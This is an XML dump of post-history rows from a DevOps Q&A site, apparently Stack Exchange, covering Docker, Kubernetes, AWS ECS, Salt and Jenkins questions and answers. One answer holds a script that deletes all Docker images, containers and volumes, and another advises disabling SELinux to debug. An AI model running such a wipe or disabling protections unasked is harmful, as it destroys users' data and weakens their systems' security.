  <row Id="5667" PostHistoryTypeId="2" PostId="1800" RevisionGUID="f6a0fdb9-5900-468a-b85a-430072f378d3" CreationDate="2017-08-20T22:58:54.380" UserId="4007" Text="I've seen this happen, especially on the newest (as of now) version. Try going into the &quot;Infrastructure stack&quot; and look for stopped containers. Often it helps to just refresh the entire deployment (hit the button &quot;up to date&quot; next to the &quot;kubernetes&quot; stack and hit save (If I remember correctly) in the bottom to force the &quot;refresh&quot;).&#xD;&#xA;&#xD;&#xA;You could also try manually just restarting the kubernetes-dashboard containers.&#xD;&#xA;&#xD;&#xA;Lastly you could use the kubectl cli to delete the dashboard pods and force them to get recreated.&#xD;&#xA;&#xD;&#xA;Let me know how it goes! I know I had to do this fix a few times." ContentLicense="CC BY-SA 3.0" />
  <row Id="5669" PostHistoryTypeId="2" PostId="1802" RevisionGUID="a351f386-df37-40fe-902e-30840f0bf72b" CreationDate="2017-08-21T07:19:25.287" UserId="3720" Text="Perhaps information like&#xD;&#xA;1) the docker host OS details (RHEL, Centos, Ubuntu, etc)&#xD;&#xA;2) the mounted directory permission (ls -al)&#xD;&#xA;would help to debug this issue...&#xD;&#xA;&#xD;&#xA;This could be an SELinux issue as well, so disable SELinux and try&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5670" PostHistoryTypeId="2" PostId="1803" RevisionGUID="33e8294a-4cac-4f8c-8998-c974385f9e52" CreationDate="2017-08-21T07:26:37.180" UserId="3720" Text="This is a simple thumb rule one could follow &#xD;&#xA;&#xD;&#xA; - Use version control (git, svn, cvs) for the work product created by humans&#xD;&#xA; - Use artifact management tool (artifactory, nexus, apache archiva) for the software bundle (artifacts) created by the system thru build or packaging process&#xD;&#xA;&#xD;&#xA;&gt;     HUMAN           ==&gt;            System&#xD;&#xA;&gt;     GIT/SVN  (build/packaging)     artifactory/archiva&#xD;&#xA;&#xD;&#xA; " ContentLicense="CC BY-SA 3.0" />
  <row Id="5671" PostHistoryTypeId="2" PostId="1804" RevisionGUID="9d482d53-aff2-4f76-92e4-ed1d087643d0" CreationDate="2017-08-21T08:07:26.100" UserId="2765" Text="We are using **alpine** image on AWS ecs which work fine on just 100mb memory in task definition.&#xA;Now we need ubuntu image which size is more then 180mb while alpine is just 5mb.&#xA;&#xA; &#xA; - I want to know that we need to increase memory according to image?&#xA; &#xA; - or Docker image run completely in memory or just current processes in memory what if I specify memory less then docker image size in task definition?&#xA;&#xA;&#xA;AWS recommend 300 to 500mb but in development I want to save memory.&#xA;&#xA;Thanks" ContentLicense="CC BY-SA 3.0" />
  <row Id="5672" PostHistoryTypeId="1" PostId="1804" RevisionGUID="9d482d53-aff2-4f76-92e4-ed1d087643d0" CreationDate="2017-08-21T08:07:26.100" UserId="2765" Text="AWS Task definition memory for Ubuntu docker image" ContentLicense="CC BY-SA 3.0" />
  <row Id="5673" PostHistoryTypeId="3" PostId="1804" RevisionGUID="9d482d53-aff2-4f76-92e4-ed1d087643d0" CreationDate="2017-08-21T08:07:26.100" UserId="2765" Text="&lt;docker&gt;&lt;amazon-ecs&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5674" PostHistoryTypeId="5" PostId="1783" RevisionGUID="4969781d-2448-4df6-b996-c4c755fc6428" CreationDate="2017-08-21T08:43:00.650" UserId="210" Comment="added 4 characters in body" Text="K8s has been created using rancher, but when one would like to access the UI it shows:&#xD;&#xA;&#xD;&#xA;    Service unavailable&#xD;&#xA;&#xD;&#xA;**Methods**&#xD;&#xA;&#xD;&#xA;*Method 1*&#xD;&#xA;&#xD;&#xA; - rancher was deployed locally using vagrant&#xD;&#xA; - k8s was deployed&#xD;&#xA; - click the ui button&#xD;&#xA;&#xD;&#xA;*Method 2*&#xD;&#xA;&#xD;&#xA;perhaps the local firewall was causing the issue?&#xD;&#xA;&#xD;&#xA; - rancher was deployed on digital ocean&#xD;&#xA; - k8s was deployed&#xD;&#xA; - service unavailable again&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5675" PostHistoryTypeId="2" PostId="1805" RevisionGUID="2fdd71d2-b49f-4478-90bd-c33c81599514" CreationDate="2017-08-21T09:17:32.403" UserId="3055" Text="Is it possible to check if a specific process is running via a Salt State? Looking through Salt Stack documentation and scouring forums I haven't found any way of simply checking if a service is running and reporting the output.&#xD;&#xA;&#xD;&#xA;I have however found this:&#xD;&#xA;    httpd-absent:&#xD;&#xA;  process.absent:&#xD;&#xA;    - name: apache2&#xD;&#xA;&#xD;&#xA;The opposite of this would be ideal for my needs e.g:&#xD;&#xA;    httpd-present:&#xD;&#xA;  process.present:&#xD;&#xA;    - name: apache2&#xD;&#xA;&#xD;&#xA;Is anyone aware of a method in Salt which would check if a defined process is running based on a name or pattern (regex) and simply report back with a true/false or similar?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5676" PostHistoryTypeId="1" PostId="1805" RevisionGUID="2fdd71d2-b49f-4478-90bd-c33c81599514" CreationDate="2017-08-21T09:17:32.403" UserId="3055" Text="Check a process is running with Salt Stack?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5677" PostHistoryTypeId="3" PostId="1805" RevisionGUID="2fdd71d2-b49f-4478-90bd-c33c81599514" CreationDate="2017-08-21T09:17:32.403" UserId="3055" Text="&lt;salt&gt;&lt;process&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5678" PostHistoryTypeId="5" PostId="1805" RevisionGUID="2f1703cb-334b-48e6-b677-0fba132bc732" CreationDate="2017-08-21T09:24:09.097" UserId="3055" Comment="added 16 characters in body" Text="Is it possible to check if a specific process is running via a Salt State? Looking through Salt Stack documentation and scouring forums I haven't found any way of simply checking if a service is running and reporting the output.&#xD;&#xA;&#xD;&#xA;I have however found this:&#xD;&#xA;    httpd-absent:&#xD;&#xA;      process.absent:&#xD;&#xA;        - name: apache2&#xD;&#xA;&#xD;&#xA;The opposite of this would be ideal for my needs e.g:&#xD;&#xA;    httpd-present:&#xD;&#xA;      process.present:&#xD;&#xA;        - name: apache2&#xD;&#xA;&#xD;&#xA;Is anyone aware of a method in Salt which would check if a defined process is running based on a name or pattern (regex) and simply report back with a true/false or similar?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5679" PostHistoryTypeId="2" PostId="1806" RevisionGUID="247b0561-327e-4dda-bd28-8d0f64f7b9a7" CreationDate="2017-08-21T11:16:03.960" UserId="3087" Text="If I run &#xD;&#xA;&#xD;&#xA;    docker run -it ubuntu bash&#xD;&#xA;Is it actually SSH to the container or what methodology it is using &#xD;&#xA;to get into the container?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5680" PostHistoryTypeId="1" PostId="1806" RevisionGUID="247b0561-327e-4dda-bd28-8d0f64f7b9a7" CreationDate="2017-08-21T11:16:03.960" UserId="3087" Text="Is &quot;docker run&quot; actually do ssh to the container?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5681" PostHistoryTypeId="3" PostId="1806" RevisionGUID="247b0561-327e-4dda-bd28-8d0f64f7b9a7" CreationDate="2017-08-21T11:16:03.960" UserId="3087" Text="&lt;docker&gt;&lt;containers&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5682" PostHistoryTypeId="5" PostId="1702" RevisionGUID="8ffc21d3-192d-4d6f-b9fe-7eaf72228cd9" CreationDate="2017-08-21T11:29:49.983" UserId="3869" Comment="deleted 1 character in body" Text="You can achieve the clone of the repo and the execution of docker-compose in several ways.&#xD;&#xA;&#xD;&#xA;You are right when you think that cloud-init could do that. Check [this link][1] for more information&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/questions/10/how-to-use-cloud-init-with-terraform" ContentLicense="CC BY-SA 3.0" />
  <row Id="5683" PostHistoryTypeId="2" PostId="1807" RevisionGUID="cf5b69f4-97cd-49a5-8a31-9979fd59ced9" CreationDate="2017-08-21T11:30:31.523" UserId="786" Text="No, it uses an internal [&quot;attach protocol&quot;][1] via the Docker daemon.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/engine/api/v1.24/" ContentLicense="CC BY-SA 3.0" />
  <row Id="5684" PostHistoryTypeId="5" PostId="1806" RevisionGUID="119ff6fe-7bb8-494e-b832-49e5fd99215b" CreationDate="2017-08-21T13:45:37.553" UserId="-1" Comment="Reword to proper English" Text="If I run &#xD;&#xA;&#xD;&#xA;    docker run -it ubuntu bash&#xD;&#xA;&#xD;&#xA;Does it actually SSH into the container, or does it use another protocol?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5685" PostHistoryTypeId="4" PostId="1806" RevisionGUID="119ff6fe-7bb8-494e-b832-49e5fd99215b" CreationDate="2017-08-21T13:45:37.553" UserId="-1" Comment="Reword to proper English" Text="Does &quot;docker run&quot; actually SSH into the container?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5686" PostHistoryTypeId="24" PostId="1806" RevisionGUID="119ff6fe-7bb8-494e-b832-49e5fd99215b" CreationDate="2017-08-21T13:45:37.553" Comment="Proposed by 213.83.133.5|c846d12b-7829-4606-9ef1-50d9d569268d approved by 13 edit id of 410" ContentLicense="CC BY-SA 3.0" />
  <row Id="5687" PostHistoryTypeId="2" PostId="1808" RevisionGUID="fbda1821-8591-4ba5-a8d2-15b2a9da6b08" CreationDate="2017-08-21T13:47:49.513" UserId="4008" Text="Hm, i'll answer myself here I guess.&#xD;&#xA;&#xD;&#xA;The problem was, I had &quot;broken&quot; volumes.&#xD;&#xA;&#xD;&#xA;So, I've made a little script to &quot;reset&quot; docker and install wordpress.&#xD;&#xA;Careful it removes everything.&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;&#xD;&#xA;    # remove images&#xD;&#xA;    docker rmi $(docker images -q)  &#xD;&#xA;    # remove containers&#xD;&#xA;    docker stop $(docker ps -aq)&#xD;&#xA;    docker rm $(docker ps -aq)    &#xD;&#xA;    # remove volumes&#xD;&#xA;    docker volume rm $(docker volume ls -q)&#xD;&#xA;        &#xD;&#xA;    echo &quot;Type mysql root password : &quot;&#xD;&#xA;    read mspass&#xD;&#xA;    &#xD;&#xA;    docker run --name wordpressdb -e MYSQL_ROOT_PASSWORD=$mspass -e MYSQL_DATABASE=wordpress -d mysql:5.7&#xD;&#xA;    &#xD;&#xA;    docker run -e WORDPRESS_DB_PASSWORD=$mspass --name wordpress --link wordpressdb:mysql -p 127.0.0.2:8080:80 -v &quot;$PWD/&quot;:/var/www/html -d wordpress" ContentLicense="CC BY-SA 3.0" />
  <row Id="5688" PostHistoryTypeId="2" PostId="1809" RevisionGUID="ccdbd0f1-3004-4a28-a020-9be61945e76b" CreationDate="2017-08-21T14:10:40.727" UserId="4023" Text="There are two important parameters that you can use wisely to deal with AWS ECS task definition. &#xD;&#xA;&#xD;&#xA;[memory][1]: &#xD;&#xA;&#xD;&#xA;&gt; The hard limit (in MiB) of memory to present to the container. If your&#xD;&#xA;&gt; container attempts to exceed the memory specified here, the container&#xD;&#xA;&gt; is killed.&#xD;&#xA;&#xD;&#xA;[memoryReservation][1]: &#xD;&#xA;&#xD;&#xA;&gt; Docker attempts to keep the container memory to this soft limit;&#xD;&#xA;&gt; however, your container can consume more memory when it needs to.&#xD;&#xA;&#xD;&#xA;I recommend you to go with **memoryReservation**. So your task definition will look like this. &#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;      &quot;family&quot;: &quot;my-alpine&quot;,&#xD;&#xA;      &quot;networkMode&quot;: &quot;bridge&quot;,&#xD;&#xA;      &quot;containerDefinitions&quot;: [&#xD;&#xA;        {&#xD;&#xA;          &quot;image&quot;: &quot;alpine:latest&quot;,&#xD;&#xA;          &quot;name&quot;: &quot;my-alpine&quot;,&#xD;&#xA;          &quot;memoryReservation&quot;: 100,&#xD;&#xA;          ...&#xD;&#xA;          ...&#xD;&#xA;        }&#xD;&#xA;      ]&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.aws.amazon.com/AmazonECS/latest/developerguide/task_definition_parameters.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="5693" PostHistoryTypeId="5" PostId="1805" RevisionGUID="9681e1ae-abf5-4b24-a3e4-fc3921a993b2" CreationDate="2017-08-21T14:36:00.763" UserId="3055" Comment="added 4 characters in body" Text="Is it possible to check if a specific process is running via a Salt State? Looking through Salt Stack documentation and scouring forums I haven't found any way of simply checking if a service is running and reporting the output.&#xD;&#xA;&#xD;&#xA;I have however found this:&#xD;&#xA;&#xD;&#xA;    httpd-absent:&#xD;&#xA;      process.absent:&#xD;&#xA;        - name: apache2&#xD;&#xA;&#xD;&#xA;The opposite of this would be ideal for my needs e.g:&#xD;&#xA;&#xD;&#xA;    httpd-present:&#xD;&#xA;      process.present:&#xD;&#xA;        - name: apache2&#xD;&#xA;&#xD;&#xA;Is anyone aware of a method in Salt which would check if a defined process is running based on a name or pattern (regex) and simply report back with a true/false or similar?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5698" PostHistoryTypeId="2" PostId="1812" RevisionGUID="839141e3-61bc-4393-a98b-d4f0ef370e47" CreationDate="2017-08-21T15:12:58.060" UserId="210" Text="Several [named volumes][1] have been created in docker-compose. How to create these in Kubernetes?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/compose/compose-file/#userns_mode" ContentLicense="CC BY-SA 3.0" />
  <row Id="5699" PostHistoryTypeId="1" PostId="1812" RevisionGUID="839141e3-61bc-4393-a98b-d4f0ef370e47" CreationDate="2017-08-21T15:12:58.060" UserId="210" Text="How to create named volumes in K8s?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5700" PostHistoryTypeId="3" PostId="1812" RevisionGUID="839141e3-61bc-4393-a98b-d4f0ef370e47" CreationDate="2017-08-21T15:12:58.060" UserId="210" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5702" PostHistoryTypeId="2" PostId="1813" RevisionGUID="da4784be-fe0c-4cde-b3e7-7e684454effa" CreationDate="2017-08-21T15:34:11.783" UserId="3939" Text="k8s have documentation page about volumes and their types https://kubernetes.io/docs/concepts/storage/volumes/&#xD;&#xA;&#xD;&#xA;So in short you need to define `spec.volumes` and `spec.containers[].volumeMounts` like:&#xD;&#xA;&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    kind: Pod&#xD;&#xA;    metadata:&#xD;&#xA;      name: test-pd&#xD;&#xA;    spec:&#xD;&#xA;      containers:&#xD;&#xA;      - image: gcr.io/google_containers/test-webserver&#xD;&#xA;        name: test-container&#xD;&#xA;        volumeMounts:&#xD;&#xA;        - mountPath: /cache&#xD;&#xA;          name: cache-volume&#xD;&#xA;      volumes:&#xD;&#xA;      - name: cache-volume&#xD;&#xA;        emptyDir: {}" ContentLicense="CC BY-SA 3.0" />
  <row Id="5703" PostHistoryTypeId="5" PostId="1755" RevisionGUID="88f6b6f4-cf55-411b-b561-b9ed8476a5df" CreationDate="2017-08-21T15:35:04.807" UserId="271" Comment="Add a paragraph about why removing files in a second RUN command doesn't reduce the size" Text="A docker image is actually a linked list of filesystem layers. Each instruction in a *Dockerfile* creates a filesystem layer that describes the differences in the filesystem before and after execution of the corresponding instruction. The `docker inspect` subcommand can be used on a docker image to reveal its nature of being a linked list of filesystem layers.&#xD;&#xA;&#xD;&#xA;The number of layers used in an image is important&#xD;&#xA;&#xD;&#xA;* when pushing or pulling images, as it affects the number of concurrent uploads or downloads occuring.&#xD;&#xA;* when starting a container, as the layers are combined together to produce the filesystem used in the container; the more layers are involved, the worse the performance is, but the different filesystem backends are affected differently by this.&#xD;&#xA;&#xD;&#xA;This has several consequences for how images should be built. The first and most important advice I can give is:&#xD;&#xA;&#xD;&#xA;&gt; **Advice #1** Make sure that the build steps where your source code is involved comes as late as possible in the *Dockerfile* and are not tied to previous commands using a `&amp;&amp;` or a `;`.&#xD;&#xA;&#xD;&#xA;The reason for this, is that all the previous steps will be cached and the corresponding layers will not need to be downloaded over and over again. This means faster builds and faster releases, which is probably what you want.  Interestingly enough, it is surprisingly hard to make optimal use of the docker cache.&#xD;&#xA;&#xD;&#xA;My second advice is less important but I find it very useful from a maintenance view point:&#xD;&#xA;&#xD;&#xA;&gt; **Advice #2** Do not write complex commands in the *Dockerfile* but rather use scripts that are to be copied and executed.&#xD;&#xA;&#xD;&#xA;A *Dockerfile* following this advice would look like&#xD;&#xA;&#xD;&#xA;    COPY apt_setup.sh /root/&#xD;&#xA;    RUN sh -x /root/apt_setup.sh&#xD;&#xA;    COPY install_pacakges.sh /root/&#xD;&#xA;    RUN sh -x /root/install_packages.sh&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;and so on.  The advice of binding several commands with `&amp;&amp;` has only a limited scope. It is much easier to write with scripts, where you can use functions, etc. to avoid redundancy or for documentation purposes.&#xD;&#xA;&#xD;&#xA;People interested by pre-processors and willing to avoid the small overhead caused by the `COPY` steps and are actually generating on-the-fly a *Dockerfile* where the&#xD;&#xA;&#xD;&#xA;    COPY apt_setup.sh /root/&#xD;&#xA;    RUN sh -x /root/apt_setup.sh&#xD;&#xA;&#xD;&#xA;sequences are replaced by&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    RUN base64 --decode … | sh -x&#xD;&#xA;&#xD;&#xA;where the `…` is the base64-encoded version of `apt_setup.sh`.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;My third advice is for people who wants to limit the size and the number of layers at the possible cost of longer builds.&#xD;&#xA;&#xD;&#xA;&gt; **Advice #3** Use the `with`-idiom to avoid files present in intermediary layers but not in the resulting filesystem.&#xD;&#xA;&#xD;&#xA;A file added by some docker instruction and removed by some later instruction is not present in the resulting filesystem but it is mentioned two times in the docker layers constituting the docker image in construction. Once, with name and full content in the layer resulting from the instruction adding it, and once as a deletion notice in the layer resulting from the instruction removing it.&#xD;&#xA;&#xD;&#xA;For instance, assume we temporarily need a C compiler and some image and consider the &#xD;&#xA;&#xD;&#xA;    # !!! THIS DISPLAYS SOME PROBLEM --- DO NOT USE !!!&#xD;&#xA;    RUN apt-get install -y gcc&#xD;&#xA;    RUN gcc --version&#xD;&#xA;    RUN apt-get --purge autoremove -y gcc&#xD;&#xA;&#xD;&#xA;(A more realistic example would build some software with the compiler instead of merely asserting its presence with the `--version` flag.)&#xD;&#xA;&#xD;&#xA;The Dockerfile snippet creates three layers, the first one contains the full gcc suite so that even if it is not present in the final filesystem the corresponding data is still part of the image in same manner and need to be downloaded, uploaded and unpacked whenever the final image is.&#xD;&#xA;&#xD;&#xA;The `with`-idiom is a common form in functional programming to isolate resource ownership and resource releasing from the logic using it. It is easy to transpose this idiom to shell-scripting, and we can rephrase the previous commands as the following script, to be used with `COPY &amp; RUN` as in *Advice #2.*&#xD;&#xA;&#xD;&#xA;    # with_c_compiler SIMPLE-COMMAND&#xD;&#xA;    #  Execute SIMPLE-COMMAND in a sub-shell with gcc being available.&#xD;&#xA;&#xD;&#xA;    with_c_compiler()&#xD;&#xA;    (&#xD;&#xA;        set -e&#xD;&#xA;        apt-get install -y gcc&#xD;&#xA;        &quot;$@&quot;&#xD;&#xA;        trap 'apt-get --purge autoremove -y gcc' EXIT&#xD;&#xA;    )&#xD;&#xA;    &#xD;&#xA;    with_c_compiler\&#xD;&#xA;        gcc --version&#xD;&#xA;&#xD;&#xA;Complex commands can be turned into function so that they can be fed to the `with_c_compiler`. It is also possible to chain calls of several `with_whatever` functions, but maybe not very desirable. (Using more esoteric features of the shell, it is certainly possible to make the `with_c_compiler` accept complex commands, but it is in all aspects preferable to wrap these complex commands into functions.)&#xD;&#xA;&#xD;&#xA;If we want to ignore Advice #2, the resulting Dockerfile snippet would be&#xD;&#xA;&#xD;&#xA;    RUN apt-get install -y gcc\&#xD;&#xA;     &amp;&amp; gcc --version\&#xD;&#xA;     &amp;&amp; apt-get --purge autoremove -y gcc&#xD;&#xA;&#xD;&#xA;which is not so easy to read and maintain because of the obfuscation. See how the shell-script variant outs emphasis on the important part `gcc --version` while the chained-`&amp;&amp;` variant buries that part in the middle of noise." ContentLicense="CC BY-SA 3.0" />
  <row Id="5704" PostHistoryTypeId="2" PostId="1814" RevisionGUID="58170271-7566-444c-b821-4bfbb93ca93a" CreationDate="2017-08-21T15:52:24.233" UserId="210" Text="One of the reasons for asking this question is that it seems to be impossible to access a container using kubectl exec when these are deployed in a pod." ContentLicense="CC BY-SA 3.0" />
  <row Id="5705" PostHistoryTypeId="1" PostId="1814" RevisionGUID="58170271-7566-444c-b821-4bfbb93ca93a" CreationDate="2017-08-21T15:52:24.233" UserId="210" Text="When to put all containers in a pod and when to deploy them individually?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5706" PostHistoryTypeId="3" PostId="1814" RevisionGUID="58170271-7566-444c-b821-4bfbb93ca93a" CreationDate="2017-08-21T15:52:24.233" UserId="210" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5707" PostHistoryTypeId="5" PostId="1812" RevisionGUID="43eef2f5-b443-4f8f-aaaf-b59ff6d92db3" CreationDate="2017-08-21T15:57:26.517" UserId="210" Comment="added 249 characters in body" Text="Several [named volumes][1] have been created in docker-compose. How to create these in Kubernetes?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;How to transform the following `named volume` example defined in docker-compose to kubernetes format&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    version: &quot;3&quot;&#xD;&#xA;    services:&#xD;&#xA;      x:&#xD;&#xA;        image: z&#xD;&#xA;        volumes:&#xD;&#xA;          - a:/path/inside/container&#xD;&#xA;      y:&#xD;&#xA;        image: c&#xD;&#xA;        volumes:&#xD;&#xA;          - a:/path/inside/container&#xD;&#xA;    volumes:&#xD;&#xA;      a:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/compose/compose-file/#userns_mode" ContentLicense="CC BY-SA 3.0" />
  <row Id="5708" PostHistoryTypeId="2" PostId="1815" RevisionGUID="d5414c28-8213-4fd1-ab8f-893029cb7eda" CreationDate="2017-08-21T18:48:06.663" UserId="4031" Text="Within DevOps there is a common requirement to document all the components that constitute the various technology stacks within an IT environment. Traditionally this might have been accomplished with a propriety CMDB solution.  &#xD;&#xA;&#xD;&#xA;With this in mind, what open source tools exist to document all the components of an IT technology stack, including their relationship to one another, in a graph database such as Neo4J?&#xD;&#xA;&#xD;&#xA;The purpose of such a solution would to do various queries against technology stacks, such as:&#xD;&#xA;&#xD;&#xA; - To determine who supports which components&#xD;&#xA; - Which components are out of date&#xD;&#xA; - Which components need to be patched&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5709" PostHistoryTypeId="1" PostId="1815" RevisionGUID="d5414c28-8213-4fd1-ab8f-893029cb7eda" CreationDate="2017-08-21T18:48:06.663" UserId="4031" Text="What is recommended to document an IT technology stack, including their relationship to one another, in a graph database?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5710" PostHistoryTypeId="3" PostId="1815" RevisionGUID="d5414c28-8213-4fd1-ab8f-893029cb7eda" CreationDate="2017-08-21T18:48:06.663" UserId="4031" Text="&lt;automation&gt;&lt;toolchain&gt;&lt;dependency-management&gt;&lt;open-source&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5712" PostHistoryTypeId="10" PostId="21" RevisionGUID="fa1217a8-d378-4ca5-92ea-3fb1835af64b" CreationDate="2017-08-22T07:41:27.437" UserId="13" Comment="105" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:47,&quot;DisplayName&quot;:&quot;Dan Cornilescu&quot;},{&quot;Id&quot;:14,&quot;DisplayName&quot;:&quot;Aurora0001&quot;},{&quot;Id&quot;:13,&quot;DisplayName&quot;:&quot;Tensibai&quot;}]}" />
  <row Id="5713" PostHistoryTypeId="10" PostId="1815" RevisionGUID="0515dea7-8a2b-496e-aa98-dbf537435120" CreationDate="2017-08-22T07:42:14.053" UserId="13" Comment="104" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:13,&quot;DisplayName&quot;:&quot;Tensibai&quot;}]}" />
  <row Id="5714" PostHistoryTypeId="10" PostId="1792" RevisionGUID="e4c9ae7d-ffd3-4e0d-8d12-c32447ea524f" CreationDate="2017-08-22T07:47:55.280" UserId="13" Comment="102" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:14,&quot;DisplayName&quot;:&quot;Aurora0001&quot;},{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;},{&quot;Id&quot;:228,&quot;DisplayName&quot;:&quot;Jiri Klouda&quot;},{&quot;Id&quot;:13,&quot;DisplayName&quot;:&quot;Tensibai&quot;}]}" />
  <row Id="5716" PostHistoryTypeId="4" PostId="1812" RevisionGUID="50f179bd-1cc5-4b61-82cb-179890071e38" CreationDate="2017-08-22T09:48:37.797" UserId="46" Comment="edited title" Text="How to create named volumes in Kubernetes?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5717" PostHistoryTypeId="5" PostId="1386" RevisionGUID="4fd2f5ae-660b-4858-bcc0-6b0ed6c952e4" CreationDate="2017-08-22T10:09:11.113" UserId="40" Comment="integrate comment from OPer" Text="A project in DevOps should logically change the management mechanisms.&#xD;&#xA;What are the responsibilities of a project manager in a DevOps project ?&#xD;&#xA;&#xD;&#xA;**Note**: A project DevOps of what I understand is a project that has a beginning and an end, it is a temporary effort to create a product or a unique result and that uses the concept DevOps to produce a software." ContentLicense="CC BY-SA 3.0" />
  <row Id="5718" PostHistoryTypeId="2" PostId="1816" RevisionGUID="683181f0-b0ca-4afd-aabf-5a04f345e8ff" CreationDate="2017-08-22T10:51:01.910" UserId="4007" Text="You can still exec containers when multiple are running in a pod, you specify the container to execute in using the &quot;-c&quot; parameter.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5719" PostHistoryTypeId="2" PostId="1817" RevisionGUID="69401494-539c-4d59-aabf-c9d0aca7aae6" CreationDate="2017-08-22T15:03:55.267" UserId="13" Text="Truth would be that should not happen in a DevOps environment&#xD;&#xA;.&#xD;&#xA;Your &quot;project&quot; will probably use Agile concepts, but there's nothing in DevOps telling how a project has to be run because DevOps is _[product centric](https://devopsguys.wordpress.com/2013/12/13/devops-and-the-product-centric-approach/)_ (more details on the blog post and with search on this term).&#xD;&#xA;&#xD;&#xA;&quot;DevOps&quot; is about breaking silos and have a team composed of developers, architects, ops, exploitation peoples who handle a software on its lifetime, that is antagonistic with the waterfall project approach.&#xD;&#xA;&#xD;&#xA;To quote here Jez Humble:&#xD;&#xA;&#xD;&#xA;&gt; Products not projects&#xD;&#xA;&#xD;&#xA;So your answer would be : There's not responsibilities for a project manager on a DevOps product because the main idea behind devops is to have a team handling the product on long term and not on a planned project time only." ContentLicense="CC BY-SA 3.0" />
  <row Id="5720" PostHistoryTypeId="2" PostId="1818" RevisionGUID="da0281e5-32c9-4968-9a93-a67d498e9087" CreationDate="2017-08-22T15:10:58.103" UserId="736" Text="Is there a way to connect to a VPN for the duration of a Jenkins job? (freestyle or pipeline, I can work with either). &#xD;&#xA;&#xD;&#xA;I scoured the plugin list figuring someone might have developed something, but the only page found was this [OpenConnect][1] page with no actual code developed, so that seems to be out. &#xD;&#xA;&#xD;&#xA;We're running Jenkins on Ubuntu AWS boxes, if that changes anything. I'd prefer the ability to connect and disconnect in a single job, rather than making everything run on VPN.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins.io/display/JENKINS/OpenConnect+Plugin" ContentLicense="CC BY-SA 3.0" />
  <row Id="5721" PostHistoryTypeId="1" PostId="1818" RevisionGUID="da0281e5-32c9-4968-9a93-a67d498e9087" CreationDate="2017-08-22T15:10:58.103" UserId="736" Text="Jenkins job using VPN?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5722" PostHistoryTypeId="3" PostId="1818" RevisionGUID="da0281e5-32c9-4968-9a93-a67d498e9087" CreationDate="2017-08-22T15:10:58.103" UserId="736" Text="&lt;jenkins&gt;&lt;vpn&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5723" PostHistoryTypeId="2" PostId="1819" RevisionGUID="a3bca663-3d12-44f1-96c1-1d8db6db9f9a" CreationDate="2017-08-22T15:19:53.903" UserId="3062" Text="So what is happening is that the changed code just sat until internal testing was done (never a good thing as this is how code get stale quickly).  Once internal testing was ready, the code was then merged into the trunk causing it to be published into nugget under the trunk's feed.  Some business politics ensued and we finally got to a real single code base mindset from the product owner's perspective (which was the issue that got us into this situation).  Moving forward I don't anticipate this to arise.&#xD;&#xA;&#xD;&#xA;Code can be branched out.  However, only code in the trunk will go to our internal nugget feed or our build/deployment processes." ContentLicense="CC BY-SA 3.0" />
